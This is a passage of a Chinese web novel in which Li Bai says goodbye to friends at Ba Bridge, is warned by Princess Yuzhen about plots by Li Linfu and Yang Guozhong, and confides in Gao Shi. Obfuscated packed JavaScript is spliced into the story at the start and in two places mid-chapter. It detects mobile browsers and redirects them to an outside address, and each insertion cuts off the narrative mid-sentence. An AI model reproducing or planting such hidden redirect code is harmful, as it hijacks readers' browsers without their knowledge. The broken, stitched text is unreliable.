l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275817|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能量和胆识,当真深不可测! 就在这时,一直沉默的吴道子却忽然开口了,声音低沉带着一股难以言说的疲惫:“李供奉圣眷隆盛,我等自不能及。只是……我那十二幅贵妃图,却另有桩难事。”他抬眼看向李白,目光复杂。 “哦?道玄兄请讲。”李白收敛笑容。 “杨侍郎指定,务必用陛下前些时日赏赐的波斯秘彩颜料作画……”吴道子苦笑,“可那颜料之性,实在古怪难解。” “有何古怪?”李白好奇追问。 “其色极淡,状若清水。”吴道子形容道,“寻常纸上根本看不出痕迹,需在深色基底上涂抹,且在烛光映照下勉强显出一丝微弱色彩。但其色流转,灵动非凡,非比寻常。” 他叹了口气,语气中带着几分无奈和不平:“那颜料本就稀少,陛下分赐画院五成,我辈宫廷画师再分所得,摊到我手中的……不过此数。” 吴道子说着,从自己的袖子里掏出一个小瓷瓶。众人皆好奇地凑上去,挡住了部分烛光。 李白也好奇地凑上前,在人头攒动的阴影中,他似乎看到瓷瓶内里的颜料泛着和诗牌牌面一样的幽蓝微光。 在或惊奇或赞叹的低语中,吴道子收起了瓷瓶,继续说:“至于余下那五成颜料,全数落在王摩诘手中!陛下还特意下旨,谁能率先参透此颜料非比寻常之处,定有重赏。” “王摩诘?”李白心头一动,想起玉真观那日公主解释王维缺席的说辞。 吴道子点点头:“正是。不过,杨侍郎急着要这屏风,无非是想用这新奇的御赐颜料装点,抬高身价,届时索要高价罢了。什么皇帝重赏,什么丹青扬名,哪有他的银钱重要!” 一旁有人早已按捺不住心中不忿,趁着酒劲,愤然插话道:“哼!凭什么他王维独占五成?若非玉真长公主偏爱,屡屡在圣前美言,他王维何德何能得此重宝?这中间,怕是……” “住口!” 吴道子脸色一沉,厉声打断了那人的揣测。他虽然也因颜料分配不公感到不忿,但同为画坛翘楚,对王维的画艺造诣他是真心佩服的。 “画品如人品,王摩诘之画境清远高绝,岂容这等捕风捉影的污言秽语玷污!”他斩钉截铁地说道,维护着画道尊严。 他语气一转,带着艺术家的傲骨:“陛下重赏在前,我辈自当竭力而为。有几分颜料便钻研几分!凭我吴道玄的本事,难道就参不透这区区颜料的秘密?何必仰仗他人鼻息!” 话虽如此,但他眼神深处,对于那重赏的渴望和对颜料匮乏的焦虑,依然清晰可见。 李白听罢,眼中光芒一闪,抚掌笑道:“道玄兄何须焦虑!杨侍郎要的只是‘波斯秘彩作画’这个名头,他懂什么颜料秉性?” 他看着吴道子,眼中闪烁着狡黠的光芒:“你方才说,此色极淡,烛光下方可窥见神异……既是如此,你只需在十二幅画上关键处,如娘娘眼眸神采、云袖飘带之末梢,点上那么一滴半滴,能映烛光显出些奇异流光即可!余下的尽可用寻常上好颜料绘制!如此,既用了这御赐秘彩,让杨侍郎有吹嘘的由头,应付了差事;又能省下颜料,留着潜心钻研其奥妙,以备来日参透玄机,博取帝心,岂非两全其美?” 此言一出,雅间内先是一静,随即爆发出赞叹之声! “妙啊!” “此计大妙!李供奉真神思敏捷!” “哈哈!道玄兄,这办法好!省之又省,关键处却足以唬住杨侍郎那睁眼瞎!” 便是愁眉不展的吴道子,紧锁的眉头也豁然舒展,眼中愁云散去大半,露出由衷的笑意,拱手对李白道:“李供奉一言,真如拨云见日!多谢指点迷津!是道玄钻牛角尖了。” 吴道子与众人寒暄几句,随即托以研究秘彩为由离席。 众人纷纷举杯向李白致意,气氛重新热烈起来。然而李白饮尽杯中酒,眼角的余光却透过雅间竹帘的缝隙,看到了隔壁桌旁,那两个在略显空寂的座位上安静等候他的熟悉身影。 卢玉生侧着头,看着窗外淅淅沥沥的雨丝,神情淡漠,不知在想些什么。吴十九则低着头,紧握着手中的酒杯。桌上的佳肴,仍旧是他离开时的样子。 “诸位,恕太白失陪。”李白起身向在座的众人拱手,“今日我与友人在此饯行,实在不宜离席太久,日后再聚,告辞!” “哎呀!你瞧瞧我,竟然耽搁了这么久!”张旭一拍脑袋,也站起来,往外送李白,“罪过罪过,走,我陪你一起去向二位兄弟赔罪!” 23. 孤云独去闲 清晨的灞水,笼着一层薄薄的雾气。水声潺潺,流淌着千年不变的离歌。岸边的垂柳枝条,刚抽出的新芽还带着湿漉漉的春露,在微凉的晨风中轻轻摇曳。 李白牵着马,将卢玉生和吴十九送到灞桥桥头。仆役已将行李装上车,拴在马上。昨日醉仙楼的喧嚣与强颜欢笑早已散去,此刻,唯有分离的沉重真实地压在三人心头。长安城沐浴在稀薄的晨光中,雄伟而冰冷,更衬出桥头的凄清。 “送君千里,终须一别。十二郎,就送到这里吧。”卢玉生轻声说,苍白的脸上带着强压的不舍。 李白没有作声,目光扫过两岸如烟的垂柳,默然俯身,折下最长最柔韧的一枝青翠柳条。这长安送别的古老习俗——“折柳赠别”。 他郑重地将柳枝送到卢玉生手中,又将另一枝递给吴十九。 “此去蜀道迢迢,二位贤弟务必珍重。”李白的声音低沉沙哑,极力维持着平静。 吴十九用力点头,眼眶微红:“李生放心,我们会小心的。” 卢玉生苍白的手指紧紧攥着那枝新柳,并未发话。他解下背上的布包,动作缓慢而庄重地取出琵琶,那面在《大唐好诗歌》赛场上大放异彩的琵琶,也是那面在常乐坊小院默默陪伴的琵琶。 “十二郎,此次分别,不知何日再见,且让我再弹一曲吧。” 他坐上车辕,指尖轻拢慢捻,拨动了琴弦。一曲《折杨柳》的旋律,如泣如诉地流淌在灞桥晨风里。 曲调悠扬哀婉,清冷的晨露似乎也浸透了这离别的弦音,敲打着岸边垂柳,也敲打着岸上人的心。 李白听着,仿佛又看见了巴山蜀水间的同窗岁月,心头酸涩难当。 一曲终了,余音袅袅,融入水声。车夫轻挥马鞭,车轱辘缓缓转动起来。 李白看着即将启程的车马,看着马上故友不舍的面容,喉头滚动了一下,一个念头不受控制地冲口而出,似乎要在茫茫去路中抓住点什么: “玉生,十九!若真有一日……我李太白如高三十五所言,开了那劳什子‘青莲诗社’……” 他目光灼灼地看向二人,语气热切:“到那时,还须二位贤弟鼎力相助!请你们务必回来帮我!这诗社营生,没你们,不成! 卢玉生和吴十九闻言,先是一愣,随即同时绽开了一个宽慰而真诚的笑容,那笑容里混杂着别离的酸楚与对老友承诺的温暖。 “李生放心!只要你一声吆喝,不管你这诗社是开在长安,开回咱们成都府,就算是开到北庭都护府那等鸟不拉屎的偏远地界儿,我吴十九爬也爬来替你张罗!” 卢玉生虽未说话,却也用力地点了点头。那眼神,比任何言语都更清晰地应允了这份未来的约定。 车马最终动了,沿着驿道,在晨雾中渐行渐远,最终化作视野尽头模糊不清的黑点。 李白在桥头站了不知多久,直到太阳完全驱散雾气,将灞桥照得亮堂堂、空荡荡。他牵着马,缓缓踱回常乐坊的小院,每一步都仿佛拖着千斤重物。 远远地,便看见家门口伫立着一抹清丽的身影。 晨光勾勒出对方窈窕的身形,发髻边一点熟悉的珠光瞬间刺入李白的视线——那是一副精致的明月珰。 李白心头一震,思绪瞬间从离愁抽离,这张脸孔,这副耳坠,他记得清清楚楚,正是沉香亭畔那夜,替玉真公主前来向他传话的侍女。 那侍女也听到了脚步声,转过身来。见是李白,她脸上立刻浮现出恭敬而从容的神色,不疾不徐地上前几步,微微躬身施礼:“李供奉安好。公主殿下在玉真观备下了新茶和时令点心,特遣奴婢前来相请供奉移步一叙。” 心中本被离愁塞得满满当当,此刻骤然被玉真公主的邀请撞入,李白一时有些恍惚。看着侍女沉静的面容和那对明月珰,他点了点头:“有劳姑娘。待我稍作整理,即刻前往。” 他推门进院,偌大的庭院在卢玉生和吴十九离开后显得异常空旷和清冷。他换了身常穿的素色圆领袍,掸了掸灰尘,也无心细看镜中的自己,便起身赶往玉真观去了。 玉真观依旧幽静,疏影横斜。当李白被观中女冠引入上次那间素雅的静室时,却发现茶点已备,室内却只有方才邀他前来的侍女在侧。 那侍女见李白进来,再次上前施礼,面带歉意:“实在不巧,您来前一刻,公主殿下忽被宫内急召入宫。殿下深感抱歉,特嘱咐奴婢转告,请您先用些茶点稍候片刻,殿下应能速回。” 李白心中掠过一丝诧异,但未表露,只道:“如此,烦请替我多谢殿下,太白在此等候便是。” 侍女动作娴熟地为李白斟上茶水:“请用茶。” 李白接过茶水轻呷,静室空旷,独自等待的时间显得格外漫长。他看着侍立在旁的侍女,试图打破这份尴尬的宁静。 “不知姑娘如何称呼?”李白问道。 那侍女微微屈膝:“奴婢贱名不足挂齿,公主恩典,赐名‘秋枝’。” “秋枝……”李白咀嚼着这个名字,看着眼前女子虽着侍女衣饰,但气色红润,姿态从容,尤其那明月珰更衬得其容光照人,便由衷赞道:“秋枝姑娘言谈举止有度,气色精神皆好,如此仪容,想必定是公主殿下身边最信重、最得力的人了。” 秋枝被李白这直白的夸奖说得脸颊微红,心中欢喜,眼神也亮了几分,忍不住想多说两句:“供奉谬赞了。说起来,供奉在醉仙楼‘六月飞雪’那日,奴婢也在场呢!那个……” 她的话音未落,门外回廊深处隐约传来一阵脚步声,伴随着玉真公主有些压抑的低语和侍女的回应。公主的声音虽听不真切,但凭语气也能听出蕴藏的沉重与烦躁。 秋枝立刻收声,恢复了侍立的姿态。 玉真公主快步走了进来。她身着青色道袍,脸色不如往日平和,眉宇间笼罩着一层淡淡的阴云,周身散发出一股压抑的气息。显然刚才在宫中的经历让她心绪不佳。 然而,当她的目光落在等候在室内的李白身上时,那紧蹙的眉头还是舒展了几分,眼中流露出温和的歉意。 “太白,让你久等了。”玉真公主的声音恢复了往日的平静,但细听之下仍有一丝疲惫。她在李白对面坐下,抬手示意他也坐,“临时入宫面圣,失陪许久,还望见谅。” 李白拱手道:“殿下言重了。陛下召见,国事为重。太白能得片刻清茶,已足感盛情。” “听闻你今早送了友人出京?”玉真公主亲自端起茶壶,为李白续了些热茶,“灞桥折柳,最是伤情。他们远行,你心头想必寂寥。” 李白坦然点头:“故友难舍,确实心中空落。” “虽寂寥,却也坦荡。”玉真公主微微颔首,眼中露出真切的赞赏,“那日麟德殿盛宴,本宫虽未亲临,但后来听人详细转述了太白舌战群雄的英姿风采,当真是精彩绝伦!连圣人都连连颔首称赞。太白之才,果真不让当年苏秦、张仪。” 面对公主的赞誉,李白脸上露出一丝得意之色,又带着点追忆:“殿下过奖了。太白少年时,曾于安陆赵蕤先生座下习纵横长短之术,深慕苏秦挂相六国、张仪连横破纵、郦食其片语下齐城的慷慨意气。此番行事,不过是聊以践行当年所学。” 玉真公主静静地听着,若有所思地点点头。她捧起茶杯,轻轻吹散浮沫。待李白说完,她放下茶盏,目光沉静地落在他的脸上,话锋陡转: “郦食其①凭借三寸不烂之舌为汉王立下奇功,其辩才无双,确如你所言,令人神往。” 她的声音低沉下来,带着洞悉的尖锐:“然而你可曾细想过,他最终因何而亡?” 李白微微一怔,郦食其被齐王烹杀的结局他自然知晓,但此刻公主突然提及这个历史人物的惨烈收场,用意明显非在缅怀,反而更像一柄冰冷的水,当头浇向他刚刚升腾起的热情之火。 他不服地辩解道:“其惨遭烹杀,根由实乃韩信贪功冒进,擅自对齐用兵!刘邦驭下无方,未能及时协调沟通!若……” “太白!”玉真公主温和却强硬地打断了他,目光深邃,“无论原委如何,面对韩信的虎狼之师与刘邦的逐鹿之心,郦食其一介文士,即便有经天纬地之才、舌绽莲花之能,在那生死一线,又有几分自保之力?他能做的,唯有审时度势,及时抽身,远离这必死之局。可惜……他贪慕虚荣,舍不得齐王那几日的盛情款待,最终落得身死鼎镬。纵有天大的冤屈,又能向谁诉?” 李白还想再辩,玉真公主却轻轻抬手,止住了他的话头。她脸上的温和神情收敛,取而代之的是一种忧虑与严肃: “太白,看来你尚不知自己此刻身处何等的‘龙潭虎穴’,又有多少柄‘韩信之剑’,正蓄势待发,悬于你的头顶。” “殿下……此言究竟何意?”李白的声音低沉下来,一股寒意沿着脊椎悄然爬升。 她停顿片刻,仿佛在整理思绪,随后压低声音,清晰地说道:“今日高力士匆忙来请本宫入宫,名为闲谈,实则是天子心中有所疑虑,借本宫一窥究竟,或是……表达不满。” 她缓缓道来宫中谈话: “圣上开门见山,说本宫好雅兴,举荐的皆是才华横溢之士。王摩诘得赐波斯秘彩潜心钻研,李太白沉香亭赋诗震动京华,皆为我玉真观座上宾,圣眷隆恩,本宫面上亦有荣光。 “然而……他却话锋一转。说当初是听信了本宫之言,认定王维是百年难遇的丹青大才,更兼气质澄明令人心折,故而才力排众议,将半数的珍稀秘彩颜料赐予他一人!可如今……旬月已过,王维深居简出,闭门谢客,却至今未能拿出明确答案。这不仅让他这位金口玉言的帝王面上无光,觉得自己识人不准,更引来了朝中许多非议。这些非议……还会连带着指向本宫这位举荐之人啊!” 公主眼中闪过一丝无奈与压力:“本宫唯有力陈王维向来精研,其‘画中有诗’的境界常人难及,此番沉心探究,必是精益求精,请圣人再予些许时日。圣上对此……似乎暂且按下了。” 李白默默听着,为这位素未谋面的才子捏了一把汗,也感受到了公主所承受的压力。但这并非重点。 “而后,圣上提起了你。”玉真公主的声音更低沉了几分,“他说,近来听说了一些风闻……” 公主的目光紧锁李白:“说你李白对那杨国忠,颇有不敬之语。不过,他也随即说想来也算情有可原——太白乃性情疏阔不羁之人,麟德殿上杨国忠当众索要《清平调》意图牟利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李白如释重负地喘了口气,拱手道:“太白铭记于心!谢殿下信我!” “本宫信你为人清白,但李林甫的手段绝非仅此一击。”玉真公主的神色并未真正轻松,反而更添忧色。 “他今日能在圣人面前抛出‘疑有贪赃’的引子,明日就能炮制出更具分量的‘铁证’!那老獠深谙此道!再加上一个杨国忠,你此前在麟德殿折辱其羽翼,更在律令一事上让他吃了个闷亏,他面上虽不屑与你计较,实则睚眦必报!你如今身陷如此旋涡,稍有不慎,便会像那郦食其一样,空有满腔才情抱负,却被无形的权势之鼎悄然烹杀!” 这一番透彻的剖析,如同剥开层层华丽的锦袍,露出了里面森然的刀刃,把李白惊得冷汗瞬间湿透了后背的衣衫。 “殿……殿下……”李白的声音带着不自觉的颤抖,首次在公主面前流露出属于凡人的无助和惶惑, “太白该如何做?请殿下明示!” 玉真公主看着他惊魂未定的样子,心中也是恻然。她坐直身体,目光直视李白,语气斩钉截铁,带着命令般的肃然: “第一,从今日起,你以往如何,现在依旧如何!诗会,要照常参加;名士宴饮,更要前往;即便在宫中行走,态度要如常!越躲,越显得心虚!身正不怕影斜,越坦荡,越让人无隙可乘!” 李白用力点头,将公主的每一个字都刻在心里。 “第二,是‘谨言慎行’!”公主的声音压得更低,带着无比的郑重,“从此刻起,无论在任何场合,面对任何人,凡涉及朝中纷争、官员功过,尤其关乎杨国忠、李林甫……乃至贵妃!你务须谨慎十倍!最好,连沾都不要沾!更遑论评头论足!太白,这不是畏缩,这是存身之道!你的口舌,是诗之利器,亦可能成为断己之索!” “是!李白……谨记殿下教诲!绝不敢忘!”李白深深一揖,公主的警醒如醍醐灌顶,将他彻底浇醒。 玉真公主见他的确把自己的话听进去了,稍稍放下心来。但看昔日神采飞扬的谪仙人,如今在自己面前像个霜打的茄子,心中不由抽痛。她唤秋枝过来重新添茶,语气和缓了些: “今日本是打算邀太白来观中闲谈,念你故友离京,心里落寞,也是想听你细说那日麟德殿宴饮之事,宫人转述总是挂一漏万。谁曾想……也罢,饮茶。” 李白接过秋枝奉上的新茶,只是碰了碰嘴唇,并未饮下。好在玉真公主及时把话题引导到轻松的宴饮细节和其他闲适事件,这让李白的心绪稍微平复了些。 从玉真观出来时,已是午后。春日阳光灼灼,却无法驱散李白心头的浓重阴翳。 公主的每一句话、每一个字,都在他脑海中反复回响,带来阵阵寒颤。郦食其被架在鼎上的画面,皇帝漫不经心提到“贪赃”时的语调,杨国忠怨毒的眼神,李林甫那张毫无表情的脸……与玉真公主忧心如焚的警告交织在一起,形成一张巨大而无形的网,将他牢牢罩住。 常乐坊的小院,比清晨送别时更显得死寂。空气里没有了药香,也没有了爽朗的笑声,只有一片沉甸甸的、令人窒息的空旷。 这里……只剩下他一个人了。 24. 大雅久不作 常乐坊的小院空旷得令人窒息。每一丝微风拂过回廊,都像在提醒李白此地的寂寥。案几上昨日离别的酒盏孤零零立着,映着他同样孤独的身影。 昔日的酒友,张旭忙于应付杨国忠那离谱的屏风差事,吴道子正绞尽脑汁参悟波斯秘彩,各有各的泥潭深陷,无人可约。 这时,“瀚海诗社”四个字猛地撞进脑海。 对,高三十五! 他性子沉毅,又尚未去投奔哥舒翰,应当还在诗社! 去寻他!这满腹的浊气,或许只有在那位见识不凡的老友面前,方能一吐为快。 念及此,李白再无犹豫,牵了马,径直朝诗社巷奔去。 一入巷口,便有眼尖的文人认出他来。 “快看!是李供奉!” “太白兄!久仰久仰!” “谪仙风采,今日得见,幸何如之!” 热情洋溢的招呼瞬间将他围住,目光里是毫不掩饰的崇敬,这与翰林院那等地方宵小的谄媚不同,少了几分功利俗气,多了几分发自肺腑的激赏。 李白心头微暖,虽无兴致攀谈,却也并无反感,抱拳简单应付过众人后,便径直朝瀚海诗社大步走去。 推开诗社熟悉的大门,只见高适正与几名社员围坐一堂,谈兴正浓。见李白突然闯入,众人皆是一怔,随即爆发出更大的欢呼。有人甚至从座位跃起,一把拉住李白,将他按到主位旁边坐下,兴奋难抑: “李供奉!快请坐!” “真是说曹操曹操到!正说到您呢!” “是啊是啊,供奉如今声动京师,如日中天!天下文人,谁不仰慕?” 李白被簇拥着坐下,听着这满口赞誉,只当是他们又在说沉香亭的《清平调》或是麟德殿为诗人请命之事,那些赞誉像隔着一层浓雾传来,心中那点烦闷更添一丝疲于应对的倦意。 他摆摆手,勉强扯出一个笑容:“诸君过誉了,些许虚名,诗赋小道,不足挂齿。” 一旁的高适身子微微前倾,看了看桌上横七竖八摆着的诗牌,又看看李白:“不知‘曲江兰叶’新帖,太白兄可曾过目?” “哦?”李白微微一愣。 一位年轻的社员抢着道:“供奉难道没留意诗牌吗?张相公为您发了帖!” 高适从袖中拿出自己的诗牌,点开“广文集贤”,熟练地翻找到那个高悬榜首的热帖,将诗牌推到李白面前:“喏,‘曲江兰叶’今日辰时所发。” “‘曲江兰叶’……” 李白低声念着这个极具辨识度的名号,心头猛地一跳。那正是昔日的贤相,如今贬居荆州的张九龄! 而那个点燃士林的帖子,标签赫然是:#陈子昂风骨再现# 李白点开正文,正是张九龄的手笔。帖文语言简洁雅正,是其一贯的庙堂之风: “观太白近作《清平调》,风华绝代,气象万千,深得乐府神韵。请旨一事,为天下执笔人谋一席之地,格局不凡。虽少年疏狂,然文心赤诚,身存风骨。吾道不孤矣。后生可畏,勉之。” 言简意赅,却字字千钧。 没有浮夸的吹捧,只有对才华的肯定,对行为的赞许,更将其拔高到“吾道不孤”的高度,尤其点出那句“文心赤诚,身存风骨”,评价颇高。 一旁的社员还在解释:“这是张相公特意发帖为你仗义执言!而且他还……” 不等他说完,另一个留着小胡子的社员接话:“张相公这是认可了坊间流传的一个说法,说你和陈拾遗有神似之处!” 张九龄说他……有陈子昂之风? 李白太清楚这个评价的分量了。陈子昂是张九龄一生敬仰的偶像,其“风骨兴寄”的诗论深刻影响了张九龄的诗学理念。张九龄自己那几首在荆州所作的《感遇》诗,正是对陈子昂精神的传承。 如今,张九龄竟将他李白比作当代陈子昂?这已非简单的赞赏,近乎是一种衣钵传承的期许和肯定!难怪这些人如此激动。 “曲江公此帖一出,京中文坛风议为之一清啊!”有人感叹。 “只是……张相公发完这帖后,便再无动静了。”又一人蹙眉,深为遗憾,“他之前《感遇》组诗每每有作,都引人深思,我等还期盼新篇呢。尤其是作楚辞香草美人语,清雅高洁,真是令人……” 众人七嘴八舌,议论不休。 在这样喧腾的颂扬与关切的氛围里,高适敏锐地捕捉到李白眉宇间那抹挥之不去的阴郁与强颜的欢容。他扫了一眼窗外渐沉的暮色,适时地清了清嗓子: “诸位,今日论诗谈文,获益匪浅。然天色已晚,太白兄远来,想必也疲乏了。不若我等改日再聚,畅叙离怀?” 社员们虽意犹未尽,但见高适开口,又观李白确似精神不济,也便纷纷起身告辞。陆续离开时,仍有人低声交谈着诗牌上的消息: “河岳英灵站①评《清平调》那篇,真是精彩,将供奉那三首诗与《蜀道难》联评,颇有格局……” “我倒觉得新近冒出来那个‘杜陵野客’点评得更接地气些,言语犀利……” 门扉轻响,热闹如潮水般退去,只余下堂内一灯昏黄,映照着相对而坐的李白与高适。 待脚步声彻底消失,高适轻轻带上诗社的木门,回身看向李白,沉声道:“好了,现在安静了。太白,此处只有你我。告诉我,是不是发生了什么事?我看你……心事重重。” 没有外人,李白强撑的那点精神似乎也泄了下去。 他重新坐下,脸上颓然之色尽显,望着窗外昏黄的暮色,声音有些干涩:“高三十五,我那常乐坊的院子……太静了。静得……让人心慌。” 高适瞬间明了。离愁为引,必有更重的心事缠绕其间。 他没有追问卢吴离开的细节,而是走到自己平日整理诗稿的书案旁,一边收拾散乱的纸张笔墨,一边道:“我这虽简陋,胜在有人气,也清净。你若不嫌,就在这歇下。老地方,我等下去给你收拾出来。”他指的是诗社后院那间特意为李白准备的小客房。 “别忙。”李白抬手示意不必。他环顾着这透着文墨气息的诗社,看着那堆放的卷轴,高悬于南墙的社规,眼神中流露出一种久违的安宁。 “不用收拾。我李白如今在长安,只觉得两处地方干净——这里,还有玉真观。其余……无论是翰林院那等宵小盘踞的腌臜之地,还是看似金碧辉煌的麟德殿……” 他毫不掩饰眼中的鄙夷之色,冷笑一声:“一样藏污纳垢!” 高适闻言,眉心一跳。这话里的刺,太锐利了。 他立刻警惕地再次看向门口方向,确认无人,然后一把拉起李白,神色凝重:“随我来。” 他快步带着李白走进自己那间更为僻静的卧房,反手“咔哒”一声闩上了门。室内光线昏暗,唯余一盏孤灯。 他又走到窗边,确认窗户都已关严实了,才转身看向李白,声音压得极低: “现在,可以说了。” 李白靠在冰冷的墙壁上,仰头闭了闭眼,再睁开时,眼中充满了巨大的困惑和委屈,还有一股压抑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他顿了顿,清澈的眼眸流转,“我何尝不想借贩夫走卒之手,让更多的诗句飞出书斋卷轴,落在市井街巷之间?三十五,你想过没有?普通百姓,能有几人买得起,愿意买装帧精美的诗集?能有几人有闲暇去诗社听讲?可胭脂盒、油布伞、手帕、碗碟,这些东西是他们日常所用!把诗写在上面,或许他们买菜时瞥见一句,洗衣时读得一行,便是诗种落进了心田!这才是……真正的诗心可寄之处啊!” 他眼中那份明亮的光,是属于理想主义者的星辰大海,清澈却似乎遥不可及。 “至于银钱……不过是顺手得来,沾衣带水,不足挂齿。可如今呢?”李白三两步走到塌边坐下,“那昂贵的脂粉香帕,岂是寻常百姓用得起的?所谓传诗,不过是权贵们附庸风雅、借机盘剥的又一桩生意罢了!我……我成了个被扯来当大旗的招牌……一个帮着他们镀金的幌子!” 高适沉默地听着,心头震动。他终于彻底明白了,为什么当初李白在瀚海诗社初次听闻“诗稿盈利分配”这等事情时,会那样明显地皱眉,眼神中流露出轻蔑与疏离。 李白的骄傲不在俗物银钱,他图的是一个更宏大、更纯净的理想。让诗从庙堂高阁,散入寻常巷陌,让天下人共享文章华彩。 杨国忠这种将御诗与奢侈品捆绑、搜刮民脂民膏的行为,恰恰是对李白这份朴素理想的侮辱和背叛! 高适挨着李白坐下,想要安慰几句,却又不知该从那一句开始讲起,最终归为久久无言。 李白那“诗入人间烟火”的愿景,在这暗流汹涌的盛世长安,能实现几分?那遥远“曲江兰叶”的期许,那扭曲变味的“诗牌”名利场……所有的一切,都在这瀚海诗社寂静的斗室里交织沉淀。 25. 吾衰竟谁陈 沉吟半晌,高适试探着问道:“除却杨国忠借此横征暴敛,近日朝廷之中……可还听闻其他异常?” 李白蹙眉细思:“旁的倒不甚清楚。只是……那李林甫竟在圣人面前构陷我‘贪赃’!简直荒谬绝伦!”他心中那股被污蔑的愤懑再次翻腾起来。 此言一出,高适面色骤然凝重如铅。这等构陷,直指官员命门,绝非等闲。 “太白,此事干系重大!你须仔细回想,麟德殿之后,可曾再赴皇家宴饮?或与宗室贵戚、重臣显要往来过密?”他的声音不自觉绷紧。 李白仰头回忆,笃定道:“未曾。除了那日的麟德殿盛宴,再无其他。” 在他的意识里,玉真公主,这个引荐自己的伯乐,告知自己危险的恩人,自然不在排查之列。 “如此……问题或就出在麟德殿!”高适目光灼灼,“把那日宴上的细枝末节,与我再细细说一遍!尤其是你提议之时。” 听闻要讲那日的得意处,李□□神稍振,眼中重现光华。他坐直身体,将如何以《楚辞》考倒张翰林,如何顺水推舟借杨国忠索诗的由头引出立法,如何最终赢得圣意允准的经过,原原本本、绘声绘色地说了一遍。谈及自己巧施妙计时,仍不□□露出几分志得意满。 李白讲完,满心欢喜地等待高适的夸奖,然而高适面色凝重,最终缓缓地摇摇头: “太白,依我看来,你惩戒张翰林,固然快意恩仇,是为玉生雪耻;你向圣人请命,立意高远,是为天下文人争一席之地。这两件事本身,站在你的立场,并无大错。” 他话锋一转,严肃道:“然而,问题就出在你行事的过程里,一连开罪了当朝三位最不能得罪之人!” 李白愕然:“何出此言?” 高适伸出一根手指,一一剖析: “其一,关乎高力士!你让这位权倾朝野的高大将军,把张翰林带去那阴暗潮湿的角落‘稍待’。此事看似小事,但以高将军之老辣,岂能看不出你是在利用他?他位极人臣,历来只有他算计旁人,何曾被人轻易指使算计过?他面上不显,心中焉能不记上一笔?” 李白辩解道:“不过让他带个路……” “带个路?”高适打断他,语气加重,“你指名地点,刻意让张翰林难堪,可众人皆知是高力士引他去的那‘好地方’!这岂是‘带个路’那么简单?那老奴心思深沉如海,这笔账,他定然算在你头上!” 李白哑然,细想之下,高力士那洞悉一切却依旧和煦如春的眼神,此刻回想起来竟带着寒意。 高适又竖起第二根手指:“其二,关乎杨国忠。你在他志得意满之时跳出来顶风请命,这无异于当众打这位国舅爷的脸!断人财路,如杀人父母!你让他面子、里子皆失。以他睚眦必报的心性,岂能不恨之入骨?你纵然要请命,也应当稍缓些时日……” “难道我眼睁睁看着他借御诗之名行高价敛财之实却无动于衷?!”李白激动起来,声调陡然拔高,“缓些时日?杨国忠这等人,给他几日,遭殃的可就不止我那《清平调》了!到那时,再发什么律令也晚了!” 高适抬手示意他稍安,声音压得更低:“太白,纵有千般理由,这时机与方式,已是得罪杨国忠。但真正的凶险,在第三点。” 李白的心瞬间提起。 高适缓缓竖起第三根手指:“李林甫。那日宴上,他可曾表态?” 提到此人,李白刚压下去的火气再次窜起:“这笑面虎!麟德殿上坐得安稳如山,一脸和气,仿佛事不关己!谁曾想?转过头就向圣人进我谗言!什么账目不清,贪赃之嫌,简直血口喷人!” 高适收回手,先前那些分析若是开胃菜,那么接下来的才是正餐:“这正是李林甫最可怕之处!他在麟德殿上,对你惩戒张翰林,你与杨国忠的博弈,始终冷眼旁观,一言不发。这不合常理!我猜,依他的本性,要么出言助杨国忠打压你,要么假意圆场收买人心。可他选择了最反常的沉默。这沉默,比任何言语都更可怕!” “可他想从我身上得到什么?”李白不解,眼中是真切的困惑,“他斗大的字不识一筐,又醉心权术,敛财于他似乎只是顺带。我请命护诗,于他权柄无损,充其量是不屑一顾,或在日后执行时下点绊子,怎会因此就直接对我起了杀心?” “或许是你无意间开罪了他的门生故旧。或许……”高适的目光紧紧锁住李白,“是你身上这重‘张九龄门生’的阴影,始终未曾散去。” “荒谬!”李白嗤之以鼻,“张相被贬多久了?我从未拜入其门下,他亦未委任我任何职务,我们甚至未曾同桌共饮!所谓‘门生’,不过是世人对《大唐好诗歌》上他批我甲等魁首的附会罢了!我仰慕其风骨,他欣赏我才华,君子之交,坦坦荡荡,人所共知,何来派系之说?” 高适微微摇头,眼神深邃:“太白,你看得太简单了。政治倾轧,岂会理会这些君子之约?你如何看待张相今日在诗牌上为你发的那帖?” “太白感激不尽。张公知我护我,此言此语,是勉励,亦是警醒,我定牢记于心。”李白正色回答。 “或许……不止如此。”高适的声音不大,却字字千钧,“这帖子,在此时发出,更像是一份掷地有声的宣言!一份投向那位李相公的……战书!” “战书?”李白心头剧震,眼中满是难以置信。 “正是。太白,你想过没有,张相公此帖,是在昭告天下:李白,是我张九龄看好的人!此帖一出,李白便不仅仅是你李白,李林甫若再想动你,便不再是针对一个翰林供奉,而是在打压张九龄代表的‘风骨’,打压所有不愿屈从于他权势的文人!” 高适站起来,双手背后,看着李白:“这是李林甫个人,与天下士人之间的一场较量。你李白,无论是有心还是无意,当你提出要将诗社保护诗稿的特权惠及天下文人时,你就已经站在了风口浪尖,扛起了这面大旗!” 室内空气骤然凝滞,只有窗棱被风吹动的声响。 “太白兄,我问你,你可有勇气,扛着这面大旗,去与李林甫、杨国忠、高力士乃至他们背后的整个权势漩涡,搏上一搏?” 李白沉默了,灯影在他棱角分明的脸上跳动,映照出他眼中翻涌的巨浪——有愤怒,有不甘,有被推上风口浪尖的惊悸,更有一丝被宿命点燃的、深藏于骨子里的桀骜。 这话题太过沉重,关乎生死荣辱,关乎道路选择,他无法轻易说出“有”或“没有”。 高适也意识到自己将话头引向了何等危险又尴尬的境地。看着李白紧抿的嘴唇和眼中复杂的风暴,他缓和了语气,试图打破这令人窒息的凝重:“咳,也罢,夜深了,聊点别的。” 